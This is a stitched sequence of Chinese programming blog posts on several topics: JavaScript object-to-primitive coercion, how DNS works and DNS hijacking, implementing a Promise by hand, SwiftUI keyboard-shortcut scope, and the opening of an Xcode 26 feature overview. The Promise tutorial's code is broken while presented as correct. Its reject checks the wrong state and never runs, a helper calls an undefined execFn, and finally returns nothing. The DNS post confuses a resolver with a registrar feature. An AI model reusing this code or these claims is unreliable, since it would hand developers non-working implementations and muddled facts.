    age: 10,
    name: '小明',
    toString() {
        return this.name
    },
    valueOf() {
        return this.age
    }
}
console.log(+obj) // 10

若是定义的valueOf方法返回的不是原始值,会继续执行toString方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this.name
    },
    valueOf() {
        return this
    }
}
console.log(+obj) // NaN

5.3 Object.prototype.toString

在未定义Symbol.toPrimitive方法时候,期望类型是string,所以会直接执行toString()方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this.name
    },
    valueOf() {
        return this.age
    }
}
console.log(`${obj}`) // 小明
obj[obj] = 1
console.log(Object.keys(obj)) //[ 'age', 'name', 'toString', 'valueOf', '小明' ]

若是定义的toString方法返回的不是原始值,会继续执行valueOf方法

const obj = {
    age: 10,
    name: '小明',
    toString() {
        return this
    },
    valueOf() {
        return this.age
    }
}
console.log(`${obj}`) // 10

若是没有定义toString方法,会继续执行原型上的toString的方法返回原始值

const obj = {
    age: 10,
    name: '小明',
    // toString() {
    //     return this.name
    // },
    valueOf() {
        return this.age
    }
}
console.log(`${obj}`) // [object Object]
//如果将原型上的toString重置,就会去执行valueOf方法
Object.prototype.toString = undefined
console.log(`${obj}`) // 10

6. 特殊对象Date

hint是default的时候,会优先调用toString,,然后在调用valueOf。

hint已经表明期望值是string或者number的时候,还是按照期望的进行转换

const date = new Date()
console.log('date:toString',`${date}`) //date:toString Mon Dec 05 2022 21:53:18 GMT+0800 (中国标准时间)
console.log('date:valueOf',+date) //date:valueOf 1670248398283

console.log('date:default',date + 1) //date:default Mon Dec 05 2022 21:53:18 GMT+0800 (中国标准时间)1

7. 总结

看完文章知道这个面试题的原因了么?

console.log([1] == 1);          // true [1] -> '1' -> 1
console.log([1] == '1');        // true [1] -> '1'
  • console.log([1] == 1)
    1. 触发对象隐式类型转换的期望值是 number,但是数组继承了 Object.prototype.valueOf 的默认行为,是返回对象本身
    2. 上一步结果不是原始值会继续调用 toString方法,从 [1] 得到字符串类型 '1'
    3. 基础类型的隐式转换,数字与字符串类型进行比较,则字符串类型转数字,从 '1' 转成 数字类型 1
    4. 最后类型相同值相同 1 == 1 ,返回为 true
  • console.log([1] == '1')
    1. 触发对象隐式类型转换的期望值是 number,但是数组继承了 Object.prototype.valueOf 的默认行为,是返回对象本身
    2. 上一步结果不是原始值会继续调用 toString方法,从 [1] 得到字符串类型 '1'
    3. 基础类型的隐式转换,字符串与字符串类型进行比较,类型相同值相同 '1' == '1' ,返回为 true

才知道 DNS 还能基于 HTTPS 实现!

作者 南一Nanyi
2025年10月18日 23:33

你好,我是本文作者南一。如果有发现错误或者可完善的地方,恳请斧正,万分感谢!!

前言

本文是笔者的学习笔记,会详细介绍 DNS 工作原理,DNS 劫持以及防范措施,标题所指是:DOH(DNS Over HTTPS)

什么是DNS?

DNS 是域名系统 (Domain Name System) 的缩写,作用是将域名解析成 IP 地址,是一个应用层协议。在 1987 年之前,人们使用共享Hosts文件的方式,将计算机名称映射到 IP 地址,随着计算机数量的增长,Hosts文件越来越大,变得难以维护,DNS应运而生。

DNS 的工作原理

本质上DNS仍是查询”域名IP映射表“的过程,只是做了分层处理。

名词释义

  • 根服务器:管理顶级域名(如.com.cn),知道所有顶级域服务器的地址。
  • 顶级域(TLD)服务器:管理二级域名(如example.com),返回该域名的二级域名服务器地址。
  • 二级域名服务器:域名服务器理论上可以无限细分,在企业内网可能存在多级域名服务器(二级、三级...)
  • 权威服务器:存储具体域名(如www.example.com)的IP地址记录(能直接返回IP的就是权威域名服务器)

DNS查询过程

  1. 计算机使用域名时,会调用DNS的客户端服务,进行解析。下面以 www.example.com 为例进行阐述:

  2. 第一步,查询本地解析器缓存,缓存有两个来源:

    1. 启动DNS 客户端服务时,如果本机存在 Hosts 文件,则会将文件中的映射记录加载到缓存中。
    2. 以往发起DNS查询,并成功响应所得到的资源记录,也会被添加到缓存中并保留一段时间。
  3. 第二步,如果本地缓存未查到资源,客户端将查询本地域名服务器来解析域名。

  4. 本地域名服务器先查询缓存,如果有记录直接返回IP地址,如果没有则会向根域名服务器发起查询。

    1. 本地域名服务器向根服务器发起查询:根服务器返回.com顶级域服务器的地址。
    2. 本地域名服务器向顶级域名服务器(TLD)查询:.com服务器返回example.com的权威服务器地址。
    3. 本地域名服务器向权威域名服务器查询:最终获取www.example.com的IP地址
  5. 当本地域名服务器收到响应,表明已获得对请求查询的权威答案时,它会将此答案转发回请求客户端,递归查询过程就完成了。

常考问题

递归查询和迭代查询

  • 递归查询:客户端→本地域名服务器→其他域名服务器→本地域名服务器→客户端 这个过程就是递归。

    • 优点:客户端只需发起一次请求,简化操作;适合对响应速度要求高的场景(如家庭网络)。
    • 缺点:本地域名服务器压力大,需处理多级查询;若服务器故障可能导致解析失败。
  • 迭代查询: DNS服务器仅提供指引(如下一跳服务器地址),客户端需自行完成后续查询。例如,本地DNS服务器返回根服务器地址后,客户端需主动联系根服务器获取顶级域名服务器信息。

    • 优点:分散服务器负载,避免单点压力过大;增强网络容错性(如某级服务器不可用时可切换路径)。

    • 缺点:客户端需多次交互,解析速度较慢;对客户端配置要求较高

DNS系统通常结合两种方式以兼顾效率与可靠性:

  1. 客户端到本地DNS:使用递归查询,快速响应用户请求。

  2. 权威服务器间:使用迭代查询,通过根服务器→顶级域名服务器→权威服务器的层级协作完成解析

递归查询过程可能会占用大量资源,但它对 DNS 服务器而言具有一些性能优势。例如,在递归过程中,执行递归查找的 DNS 服务器会获取有关 DNS 域名空间的信息。这些信息会被服务器缓存,并可再次使用,以加快后续使用或匹配该信息的查询的响应速度。随着时间的推移,这些缓存信息可能会增长,占用服务器内存资源的很大一部分,但这些信息会在 DNS 服务开启和关闭时被清除。

DNS 劫持(DNS 投毒)

什么是DNS劫持?

域名系统劫持,也称为 DNS 重定向攻击,是指从受害者浏览器发送的 DNS 查询被错误解析,将用户重定向到恶意网站。DNS 可以在本地被恶意软件劫持,或通过路由器拦截、或名称服务器被劫持。

DNS劫持的攻击原理与劫持方式

发送 DNS 请求的浏览器与域名服务器的响应之间的通信点最容易受到攻击,因为它未加密。黑客就在该通信点拦截查询,并将用户重定向到一个恶意网站以进行勒索。目前,网络犯罪分子使用四种不同类型的 DNS 劫持:“本地”、“路由器”、“恶意”和“中间人”。

本地劫持

黑客在您的系统上安装特洛伊木马恶意软件,以攻击本地 DNS 设置。攻击后,他们可以将这些本地设置更改为直接指向他们自己的 DNS 服务器(例如,替代默认服务器)。从此开始,受害者浏览器发出的所有请求都会发送到黑客的服务器,他们可以返回他们所需的任何内容。一般来说,他们还可以将您指向其他恶意 Web 服务器。(也可能修改本地Hosts文件)

路由器劫持

许多路由器有默认密码或存在固件漏洞,可以被黑客轻易找到(许多公司不会花时间对路由器的登录凭据进行个性化设置)。黑客登录后,会修改 DNS 设置并指定首选 DNS 服务器(通常由他们拥有),这样网址到 IP 地址的转换完全由他们控制。从此开始,用户的浏览器请求被转发到恶意网站。这尤其严重,因为受影响的不仅仅是一个用户,而是连接到受感染路由器的所有用户。

域名服务器劫持

这种类型的网络犯罪比本地劫持复杂得多,因为它无法从目标设备进行控制。相反,黑客会劫持 ISP 的现有域名服务器来更改选定的条目。结果,毫无戒心的受害者看似访问了正确的 DNS 服务器,而该服务器实际上已被黑客渗透。随后,网络犯罪分子更改 DNS 记录,将用户的 DNS 请求重定向到恶意网站。由于 ISP 采用较高的网络安全标准,这种攻击较为罕见且更加难以执行。这种攻击发生时,可能会影响大量用户,因为通过该服务器解析查询的任何人都可能是受害者。

中间人攻击

此类攻击侧重于拦截您与 DNS 之间的通信。由于许多 DNS 请求中缺少加密,黑客使用专业工具中断客户端和服务器之间的通信。发出请求的用户随后被提供一个不同的目标 IP 地址,该地址指向一个恶意网站。这也可以用作对本地设备和 DNS 服务器本身的一种 DNS 缓存中毒攻击。结果与上述类型几乎相同。

如何检测 DNS 劫持?

执行“ping 命令”测试

ping 命令主要用于查看一个 IP 地址是否实际存在。如果您的浏览器 ping 一个不存在的 IP 地址却仍获得解析,则 DNS 很可能已被黑客入侵。

ping kaspersky123456.com

检查您的路由器或使用“路由器检查器”

下一跳测试在许多网站上都有提供。数字路由器检查器服务的原理是使用可靠的 DNS 解析器检查您的系统,并查看您是否正在使用授权的 DNS 服务器。或者,您可以访问路由器的在线管理页面并检查其中的 DNS 设置。

发现被攻击如何补救?

如果您意识到您的 DNS 服务器被黑客入侵,或者以前发生过这种情况,那么我们建议您使用替代的公共 DNS 服务,例如 Google 的公共 DNS 服务器。

如何预防 DNS 劫持?

对于普通用户

  1. 切勿点击可疑或不熟悉的链接(防恶意软件,木马病毒)

  2. 使用信誉良好的反病毒软件(防恶意软件,木马病毒)

  3. 更改路由器的密码和用户名(防路由器劫持)

对于网站拥有者

  1. DNS查询过程使用加密,DOH(DNS Over HTTPS)DOT(DNS Over TLS)(防中间人攻击)

  2. 启用客户端锁定:一些 DNS 注册商(例如:Google 公共 DNS)支持“客户端锁定”,这可以防止在未经批准的情况下对 DNS 记录进行任何更改。我们建议尽可能启用该功能。

总结

看到这我们可以知道,DNS 是一个应用层协议,它可以在UDP、TCP、TLS、HTTPS等协议之上实现,以前基于UDP实现DNS,是因为UDP的特性完美匹配了DNS的核心需求——高效、低延迟、轻量级,尤其适合处理海量的小数据包查询场景。而现在看,有个致命缺点——不安全,所以才有 DOH 和 DOT 等方案出现。同时,也不需要担心HTTPS 的延迟问题,因为 HTTP3 QUIC协议,整个建连过程可低至 0~1 RTT。

参考资料

什么是 DNS 劫持?

Google 公共 DNS

How DNS query works

手撕 Promise 一文搞定

作者 CptW
2025年10月18日 16:54

手撕 Promise,做 2 件事就够了:

  1. 了解 Promise 的行为,理解清晰后就能写出 then 方法
  2. 实现 then 方法,其他方法大多是它的衍生

其他方法,放到最后,很容易能用 then 衍生出来

Promise 行为概览

  1. 通过 new 调用,说明它是一个 class
  2. 构造时传入一个函数 executor
    • 同步执行 executor
    • 它有两个参数 resolvereject
    • 这两个参数负责:改变 Promise 状态、传递数据(分别叫 valuereason)
  3. 有 3 种状态,pendingfulfilledrejected
    • 初始状态是 pending
    • 只能 pending -> fulfilledpending -> rejected
    • 状态一旦改变后,无法继续调用 fulfilledrejected
  4. then 方法
    • 状态改变后,then 方法异步接收 resolve/reject 的回调信息
    • then 内的回调函数实际是 微任务
    • 可以链式(多次)调用
    • 在状态敲定后调用,则立即执行
    • 立刻返回一个新 Promise(pending) 对象(下文称 p):
      • onFulfilledonRejected 将被异步执行,即使状态已被敲定
      • p 的行为取决于上一条的执行结果
        • 返回一个值:以该值作为兑现值
        • 无返回:以 undefined 作为兑现值(value)
        • 抛出错误:以错误作为拒绝值(reason)
        • 返回已兑现的Promise:以该 Promise 作为兑现值
        • 返回已拒绝的 Promise:以该 Promise 作为拒绝值
        • 返回待定(pending)的 Promise:保持待定,并在该 Promise 状态改变后以其值作为兑现/拒绝值

实现 then 方法

const PENDING = 'pending'
const FULFILLED = 'fulfilled'
const REJECTED = 'rejected'

class Kromise {
  constructor(executor) {
    this.status = PENDING
    // value 和 reason 储存到静态属性里,方便 then 访问
    this.value = undefined
    this.reason = undefined
    // 支持链式调用,以数组保存回调
    this.onFulfilledFns = []
    this.onRejectedFns = []

    // value 传递值
    const resolve = (value) => {
      // 仅当 pending 时有效
      if (this.status === PENDING) {
        // 当兑现值是 Promise 时,等待他兑现/拒绝
        if (value instanceof Kromise) {
          value.then(resolve, reject)
          return
        }
        // Keep simple, 省略 thenable 部分

        /**
         * 执行回调,微任务:
         * 1、确保符合规范
         * 2、确保顺序执行 executor 时,不会立即执行 onFulfilled 导致 undefined 错误
         */
        queueMicrotask(() => {
          // 异步锁,防止异步流程中多次改变状态
          if (this.status !== PENDING) return

          // 将改变状态代码放到微任务中,为了确保不会过早敲定状态,导致 then 总执行敲定状态后的代码
          // 敲定状态
          this.status = FULFILLED
          // 储存value
          this.value = value
          this.onFulfilledFns.forEach(fn => fn(this.value))
        })
      }
    }

    const reject = (reason) => {
      if (this.status === REJECTED) {
        queueMicrotask(() => {
          if (this.status !== PENDING) return

          this.status = REJECTED
          this.reason = reason
          this.onRejectedFns.forEach(fn => fn(this.reason))
        })
      }
    }

    // 同步执行 executor,并传递参数
    executor(resolve, reject)
  }

  then(onFulfilled, onRejected) {
    // 返回 Promise,以支持链式调用
    return new Kromise((resolve, reject) => {
      // 如果在状态敲定后再执行 then,则立即执行回调
      if (this.status === FULFILLED && onFulfilled) {
        // 将值传递给返回的 p
        const value = onFulfilled(this.value)
        resolve(value)
      }
      if (this.status === REJECTED && onRejected) {
        const reason = onRejected(this.reason)
        reject(reason)
      }

      // 暂存,等状态改变(即 resolve/reject 执行)时才真正调用
      // try...catch 处理抛出错误的情况
      this.onFulfilledFns.push(() => executeFunctionWithErrorCatch(onFulfilled, this.value, resolve, reject))
      this.onRejectedFns.push(() => executeFunctionWithErrorCatch(onRejected, this.reason, resolve, reject))
    })
  }
}

function executeFunctionWithErrorCatch(fn, value, resolve, reject) {
  try {
    // 将自己的值,传递给返回的 Promise p
    const result = execFn(value)
    resolve(result)
  } catch(err) {
    reject(err)
  }
}

其他方法

catch

实际上是 then(undefined, onRejected) 的简写,但这里有一个边界情况要处理:

如何在then未处理onRejected的情况下,将该错误作为返回值传递给接下来链式调用的catch进行处理?

因为 then 仅注册 onFulfilled 回调时,返回的 p 无法将错误传递下去; 解决方法很简单,只需要提供一个默认的 onRejected 实现,保证错误传递即可

  catch(onRejected) {
    return this.then(undefined, onRejected)
  }
  // 修改 then 的实现
  then(onFulfilled, onRejected) {
    // 返回 Promise,以支持链式调用
    return new Kromise((resolve, reject) => {
      // 如果在状态敲定后再执行 then,则立即执行回调
      if (this.status === FULFILLED && onFulfilled) {
        // 将值传递给返回的 p
        const value = onFulfilled(this.value)
        resolve(value)
      }
      if (this.status === REJECTED && onRejected) {
        const reason = onRejected(this.reason)
        reject(reason)
      }

      const defaultOnFulfilled = (value) => value
      const defaultOnRejected = (reason) => { throw reason }
      onFulfilled = onFulfilled || defaultOnFulfilled
      onRejected = onRejected || defaultOnRejected

      // 暂存,等状态改变(即 resolve/reject 执行)时才真正调用
      // try...catch 处理抛出错误的情况
      if (onFulfilled) this.onFulfilledFns.push(() => executeFunctionWithErrorCatch(onFulfilled, this.value, resolve, reject))
      if (onRejected) this.onRejectedFns.push(() => executeFunctionWithErrorCatch(onRejected, this.reason, resolve, reject))
    })
  }

finally

MDN: Promise实例的 finally()  方法用于注册一个在 promise 敲定(兑现或拒绝)时调用的函数。它会立即返回一个等效的Promise对象,这可以允许我们链式调用其他 promise 方法

finally(onFinally) {
  this.then(onFinally, onFinally)
}

SwiftUI 键盘快捷键作用域深度解析

作者 CodingFisher
2025年10月18日 09:41

原文:xuanhu.info/projects/it…

SwiftUI 键盘快捷键作用域深度解析

SwiftUI 的 keyboardShortcut 修饰符让为应用添加快捷键变得简单直观。然而,这些快捷键的作用域(Scope)生命周期可能会带来一些意想不到的行为,例如即使关联的视图不在屏幕可见区域,其快捷键仍可能被激活。本文将深入探讨 SwiftUI 键盘快捷键的作用域机制,并提供一系列解决方案和最佳实践。

1. SwiftUI 键盘快捷键基础

在 SwiftUI 中,你可以使用 .keyboardShortcut 修饰符为任何可交互的视图(如 Button)附加键盘快捷键。

1.1 基本用法

以下代码为一个按钮添加了快捷键 Command + Shift + P

import SwiftUI

struct ContentView: View {
    var body: some View {
        Button("打印信息") {
            print("Hello World!")
        }
        .keyboardShortcut("p", modifiers: [.command, .shift]) // 
    }
}

1.2 关键概念解析

  • KeyEquivalent:表示快捷键的主键,可以是单个字符(如 "p")或特殊键(如 .return, .escape, .downArrow)。它遵循 ExpressibleByExtendedGraphemeClusterLiteral 协议,允许我们用字符串字面量创建实例。
  • EventModifiers:表示修饰键(如 .command, .shift, .control, .option),它是一个遵循 OptionSet 协议的结构体,允许组合多个修饰键。
  • 默认修饰符:如果省略 modifiers 参数,SwiftUI 默认使用 .command 修饰符。
  • 关联操作:触发快捷键等效于直接与视图交互(例如,点击按钮)。

1.3 应用于不同视图

keyboardShortcut 修饰符可以应用于任何视图,不仅是 Button。例如,可以将其应用于 Toggle

struct ContentView: View {
    @State private var isEnabled = false
    
    var body: some View {
        Toggle(isOn: $isEnabled) {
            Text(String(isEnabled))
        }
        .keyboardShortcut("t") // 按下快捷键将切换 Toggle 的状态 
    }
}

它也可以应用于容器视图(如 VStack, HStack)。在这种情况下,快捷键会作用于该容器层次结构中第一个可交互的子视图

struct ContentView: View {
    var body: some View {
        VStack {
            Button("打印信息") {
                print("Hello World!")
            }
            Button("删除信息") {
                print("信息已删除。")
            }
        }
        .keyboardShortcut("p") // 此快捷键将激活第一个按钮(打印信息) 
    }
}

2. 快捷键的作用域与生命周期

理解快捷键的作用域(Scope)生命周期(Lifetime) 是有效管理它们的关键。

2.1 作用域机制

SwiftUI 的键盘快捷键在视图层次结构中进行管理。其解析过程遵循深度优先、从前向后的遍历规则。当多个控件关联到同一快捷键时,系统会使用最先找到的那个

2.2 生命周期与“离屏”激活

一个非常重要的特性是:只要附加了快捷键的视图仍然存在于视图层次结构中(即使该视图当前不在屏幕可见范围内,例如在 TabView 的非活动标签页、NavigationStack 的深层页面,或者简单的 if 条件渲染但视图未销毁),其快捷键就保持有效并可激活

这种行为可能导致非预期的操作:

  • 用户意图在当前活跃的上下文中使用一个快捷键,却意外触发了另一个在背景中不可见视图的操作。
  • 在标签页 A 中定义的快捷键,在标签页 B 中仍然可以触发。

2.3 示例:标签页中的潜在问题

struct ContentView: View {
    @State private var selection = 1
    
    var body: some View {
        TabView(selection: $selection) {
            Tab("标签 1", systemImage: "1.circle") {
                Button("标签1的按钮") {
                    print("标签1动作")
                }
                .keyboardShortcut("a") // ⌘A 在标签1
            }
            .tag(1)
            
            Tab("标签 2", systemImage: "2.circle") {
                Button("标签2的按钮") {
                    print("标签2动作")
                }
                .keyboardShortcut("b") // ⌘B 在标签2
            }
            .tag(2)
        }
    }
}

在此例中,即使你在标签页 2(⌘B 活跃),按下 ⌘A 仍然会触发标签页 1 中的按钮动作,因为标签页 1 的视图仍然在视图层次结构中(只是未被显示)。

3. 管理快捷键作用域的解决方案

为了解决快捷键意外激活的问题,我们需要有意识地控制其作用域。以下是几种有效的方法。

3.1 条件修饰符(动态禁用视图)

最直接的方法是通过条件语句(如 if.disabled)控制视图的存在与否或可交互性,从而间接控制快捷键。

使用 if 条件语句

通过 @State 驱动视图的条件渲染,当视图被移除时,其快捷键自然失效。

struct ContentView: View {
    @State private var isFeatureEnabled = false
    
    var body: some View {
        VStack {
            Toggle("启用功能", isOn: $isFeatureEnabled)
            
            if isFeatureEnabled {
                Button("执行功能") {
                    // 执行操作
                }
                .keyboardShortcut("e") // 仅在 isFeatureEnabled 为 true 时存在且有效
            }
        }
    }
}
使用 .disabled 修饰符

.disabled 修饰符会禁用视图的交互能力,同时也会使其关联的快捷键失效

struct ContentView: View {
    @State private var isButtonDisabled = true
    
    var body: some View {
        Button("点击我") {
            // 执行操作
        }
        .keyboardShortcut("k")
        .disabled(isButtonDisabled) // 为 true 时,按钮无法点击且快捷键无效
    }
}

3.2 基于 isPresented 的状态控制

对于通过 sheetalertpopover 等呈现的视图,其快捷键的生命周期通常与模态视图的呈现状态绑定。

struct ContentView: View {
    @State private var isSheetPresented = false
    
    var body: some View {
        Button("显示表单") {
            isSheetPresented.toggle()
        }
        .sheet(isPresented: $isSheetPresented) {
            SheetView()
        }
    }
}

struct SheetView: View {
    var body: some View {
        Button("提交表单") {
            // 提交操作
        }
        .keyboardShortcut(.return, modifiers: [.command]) // ⌘Return
        // 此快捷键仅在 Sheet 呈现时有效
    }
}

在这个例子中,⌘Return 快捷键只在 SheetView 显示时有效。当 sheet 被关闭后,该快捷键也随之失效,完美避免了与主界面快捷键的冲突。

3.3 使用 AppDelegateUIKeyCommand 进行全局管理

对于更复杂的应用,尤其是在 macOS 或需要非常精确控制快捷键的 iPad 应用上,你可以选择绕过 SwiftUI 的修饰符,直接在 AppDelegate 中使用 UIKit 的 UIKeyCommand

这种方法让你可以完全自主地决定在不同场景下哪些快捷键应该被激活

import UIKit

@main
class AppDelegate: UIResponder, UIApplicationDelegate {
    
    var window: UIWindow?
    // 跟踪当前视图状态
    var currentView: CurrentViewType = .main
    
    override var keyCommands: [UIKeyCommand]? {
        switch currentView {
        case .main:
            return [
                UIKeyCommand(title: "搜索", action: #selector(handleKeyCommand(_:)), input: "f", modifierFlags: .command, propertyList: "search"),
                UIKeyCommand(title: "新建", action: #selector(handleKeyCommand(_:)), input: "n", modifierFlags: .command, propertyList: "new")
            ]
        case .sheet:
            return [
                UIKeyCommand(title: "保存", action: #selector(handleKeyCommand(_:)), input: "s", modifierFlags: .command, propertyList: "saveSheet")
            ]
        case .settings:
            return [] // 在设置页面禁用所有自定义快捷键
        }
    }
    
    @objc func handleKeyCommand(_ sender: UIKeyCommand) {
        guard let action = sender.propertyList as? String else { return }
        
        switch action {
        case "search": // 处理搜索逻辑
        case "new":   // 处理新建逻辑
        case "saveSheet": // 处理Sheet保存逻辑
        default: break
        }
    }
    
    // ... 其他 AppDelegate 方法
}

enum CurrentViewType {
    case main, sheet, settings
}

通过在 AppDelegate 中维护一个状态机(如 currentView),你可以根据应用当前所处的不同界面或模式,动态返回不同的快捷键数组,实现精准的全局快捷键管理。

4. 高级技巧与最佳实践

4.1 优先级与冲突解决

如前所述,SwiftUI 会选择在深度优先遍历中最先找到的快捷键。 因此,在设计快捷键时,需要注意其唯一性,避免无意中的覆盖。如果确实需要覆盖,可以利用视图的层次结构,将高优先级的快捷键定义放在更靠近视图树根部的位置或确保其被先定义。

4.2 隐藏快捷键与用户体验

你可以创建“隐藏”的快捷键(不显示在菜单中),用于一些通用操作,如关闭模态框。

// 在 AppDelegate 的 keyCommands 中
UIKeyCommand(title: "", action: #selector(handleKeyCommand(_:)), input: UIKeyCommand.inputEscape, propertyList: "closeModal"),
UIKeyCommand(title: "", action: #selector(handleKeyCommand(_:)), input: "w", modifierFlags: .command, propertyList: "closeModal")

这些没有标题的 UIKeyCommand 不会出现在菜单中,但用户按下 Esc⌘W 时仍然会触发关闭操作,这符合许多桌面应用的用户习惯。

4.3 调试快捷键

在模拟器中测试快捷键时,记得点击模拟器窗口底部的 “Capture Keyboard” 按钮(看起来像一个小键盘图标),以确保模拟器捕获你的键盘输入。

4.4 与 FocusState 结合管理文本输入焦点

在处理文本输入时,快捷键常与焦点管理配合使用。SwiftUI 的 @FocusState 可以用来程序控制第一个响应者(焦点)。

struct ContentView: View {
    @State private var username = ""
    @State private var password = ""
    @FocusState private var focusedField: Field? // 焦点状态
    
    enum Field: Hashable {
        case username, password
    }
    
    var body: some View {
        Form {
            TextField("用户名", text: $username)
                .focused($focusedField, equals: .username)
                .keyboardShortcut("1", modifiers: [.control, .command]) // 切换焦点快捷键
            
            SecureField("密码", text: $password)
                .focused($focusedField, equals: .password)
                .keyboardShortcut("2", modifiers: [.control, .command]) // 切换焦点快捷键
        }
        .onSubmit { // 处理回车键提交
            if focusedField == .username {
                focusedField = .password
            } else {
                login()
            }
        }
    }
    
    private func login() { ... }
}

4.5 在 macOS 中与菜单栏集成

在 macOS 应用中,SwiftUI 的 .commands 修饰符允许你向菜单栏添加项目,并为其指定快捷键。这些快捷键通常具有全局性,但系统会自动处理其与当前焦点视图的优先级关系。

import SwiftUI

@main
struct MyApp: App {
    var body: some Scene {
        WindowGroup {
            ContentView()
        }
        .commands {
            CommandMenu("编辑") {
                Button("复制") {
                    // 执行复制操作
                }
                .keyboardShortcut("c") // 定义在菜单栏中
                
                Button("粘贴") {
                    // 执行粘贴操作
                }
                .keyboardShortcut("v")
            }
        }
    }
}

5. 实战案例:一个多视图的应用

假设我们有一个文档编辑器,它包含:

  1. 一个主编辑界面(MainEditorView)。
  2. 一个设置页面(SettingsView),通过导航链接推送。
  3. 一个导出模态框(ExportView),通过 sheet 呈现。
struct MainEditorView: View {
    @State private var documentText: String = ""
    @State private var showSettings = false
    @State private var showExportSheet = false
    @State private var isExportDisabled = true
    
    var body: some View {
        NavigationStack {
            TextEditor(text: $documentText)
                .toolbar {
                    ToolbarItemGroup {
                        Button("设置") { showSettings.toggle() }
                        Button("导出") { showExportSheet.toggle() }
                            .disabled(isExportDisabled) // 初始状态下导出禁用
                    }
                }
                .navigationDestination(isPresented: $showSettings) {
                    SettingsView()
                }
                .sheet(isPresented: $showExportSheet) {
                    ExportView()
                }
                // 主编辑器的快捷键
                .keyboardShortcut("s", modifiers: [.command]) // 保存,始终有效
        }
        .onChange(of: documentText) { 
            isExportDisabled = documentText.isEmpty // 有内容时才允许导出
        }
    }
}

struct SettingsView: View {
    var body: some View {
        Form {
            // 各种设置选项...
        }
        // 设置页面可能有自己的快捷键,但只在当前视图活跃
        .keyboardShortcut("r", modifiers: [.command]) // 重置设置
    }
}

struct ExportView: View {
    @Environment(\.dismiss) private var dismiss
    
    var body: some View {
        VStack {
            // 导出选项...
            Button("确认导出") {
                // 导出逻辑
                dismiss()
            }
            .keyboardShortcut(.return, modifiers: [.command]) // ⌘Return 在Sheet中有效
        }
        .frame(minWidth: 300, minHeight: 200)
        .padding()
    }
}

在这个案例中:

  • ⌘S (保存):定义在 MainEditorView 上,只要该视图在层次结构中就有效(即使在设置页面或导出Sheet背后)。
  • ⌘R (重置):定义在 SettingsView 上,仅在设置页面可见时有效。
  • ⌘Return (确认导出):定义在 ExportView 上,仅在导出 Sheet 显示时有效。
  • 导出按钮的禁用状态:通过 isExportDisabled 状态控制,同时也禁用了其快捷键,避免了无效操作。

总结

SwiftUI 的键盘快捷键功能强大且易于使用,但其“离屏”激活的特性要求开发者仔细考虑其作用域管理。

  • 核心机制:快捷键的生命周期与其附加的视图绑定,只要视图在层次结构中,快捷键就有效。
  • 主要解决方案
    • 条件渲染与禁用:使用 if.disabled(_:) 动态控制视图及其快捷键的可用性。
    • 状态绑定:利用 isPresented 等状态,将模态视图的快捷键生命周期限制在模态显示期间。
    • 全局管理:对于复杂场景,可退回到 AppDelegate 中使用 UIKeyCommand 实现精细的、基于状态的全局快捷键控制。
  • 建议:始终考虑用户体验,确保快捷键在正确的上下文中生效,避免冲突和意外操作。善用 .commands 为 macOS 应用添加快捷键,并结合 @FocusState 管理文本输入焦点。

原文:xuanhu.info/projects/it…

Xcode 26 的10个新特性解析

作者 CodingFisher
2025年10月18日 08:54

原文:xuanhu.info/projects/it…

Xcode 26 的10个新特性解析

Xcode 26,这次更新不仅仅是版本号的迭代,而是对iOS开发生态的一次彻底重构。从设备端AI模型集成到革命性的界面设计语言,从编码智能辅助到跨平台开发优化,Xcode 26为开发者提供了前所未有的工具集,标志着Apple开发工具进入智能化、一体化的新纪元。本文将深入解析十大核心特性,揭示它们如何重塑开发工作流。

1. 生成式AI编程助手:ChatGPT与本地模型的深度集成

Xcode 26最引人注目的特性是深度集成了大语言模型(LLM),使开发者能够使用自然语言与代码交互。这一功能不仅支持云端模型如ChatGPT,还允许在配备Apple芯片的Mac上运行本地模型,为代码编写、测试生成、文档创作和错误修复提供智能辅助。

理论基石:上下文感知的代码生成

传统的代码自动完成基于静态语法分析,而Xcode 26的AI助手采用动态上下文收集技术。系统会自动分析整个项目结构、代码风格和开发者习惯,使模型生成的代码不仅语法正确,更符合项目特定需求。例如,当开发者输入“为地标集合添加评分功能”时,模型会参考项目中现有的数据模型和UI模式,生成类型安全且风格一致的Swift代码。

实践案例:智能错误修复与重构

考虑一个常见场景:开发者在ForEach视图中遇到类型不符合Identifiable协议的错误。在Xcode 26中,只需选择错误代码并调用Coding Tools,AI助手会分析相关类型声明和错误位置,自动建议添加协议一致性代码。更令人印象深刻的是,系统能理解代码语义——如果修复涉及多个文件,它会跨文件协调修改,保持代码库的一致性。

// 修复前:Landmark结构体缺少Identifiable一致性
struct Landmark {
    var name: String
    var coordinate: Coordinate
}

// 使用AI助手后,自动添加Identifiable一致性
extension Landmark: Identifiable {
    var id: String { name }
}

代码注释:以上代码演示了AI助手如何自动添加协议一致性。id属性使用name作为标识符,这是基于上下文分析得出的合理实现。

多模型支持与隐私保护

开发者可以灵活选择AI模型提供商:默认集成ChatGPT(无需账户即可有限使用),也支持通过API密钥连接Claude等第三方模型。对于注重隐私的团队,可以在本地部署模型,确保代码完全不离开开发环境。这种灵活性使Xcode 26能适应不同组织的安全和合规需求。

2. Liquid Glass设计语言:光学质感与流畅交互的融合

Apple在Xcode 26中引入了全新的软件设计语言Liquid Glass,这是一种基于软件的材料设计系统,将玻璃的光学特性与流体力学的动态感相结合,为应用程序带来前所未有的视觉深度和触觉响应。

设计哲学:内容优先与一致性

Liquid Glass的核心设计原则是“内容优先”。通过智能调节UI元素的光学属性(如透明度、折射率和表面反射),系统确保用户注意力始终集中在核心内容上,而非界面控件本身。这种设计在iOS 26、iPadOS 26、macOS Tahoe 26等平台上保持一致,使开发者能够轻松创建跨设备的统一体验。

技术实现:动态材质系统

Liquid Glass不是简单的视觉样式,而是一套完整的材质系统。在代码层面,它通过SwiftUI的修饰符系统暴露给开发者:

// 应用Liquid Glass效果到按钮
Button("探索") {
    // 操作逻辑
}
.buttonStyle(.liquidGlass) // 应用Liquid Glass样式
.material(.adaptive)       // 自适应材质
.depthEffect(.medium)      // 深度效果调节

代码注释:上述代码展示了如何应用Liquid Glass样式。.adaptive材质会根据环境光自动调整外观,而.depthEffect控制视觉深度级别。

实际应用:图标与控件的革新

Icon Composer应用充分利用Liquid Glass特性,允许开发者创建具有多层动态效果的图标。图标现在可以根据渲染模式(默认、深色、单色)自动调整外观,并支持模糊、半透明调整、镜面高光等高级效果。例如,天气应用图标可以在雨天显示湿润的表面反射,在晴天呈现清晰的透光效果。

3. Foundation Models框架:设备端AI与隐私保护

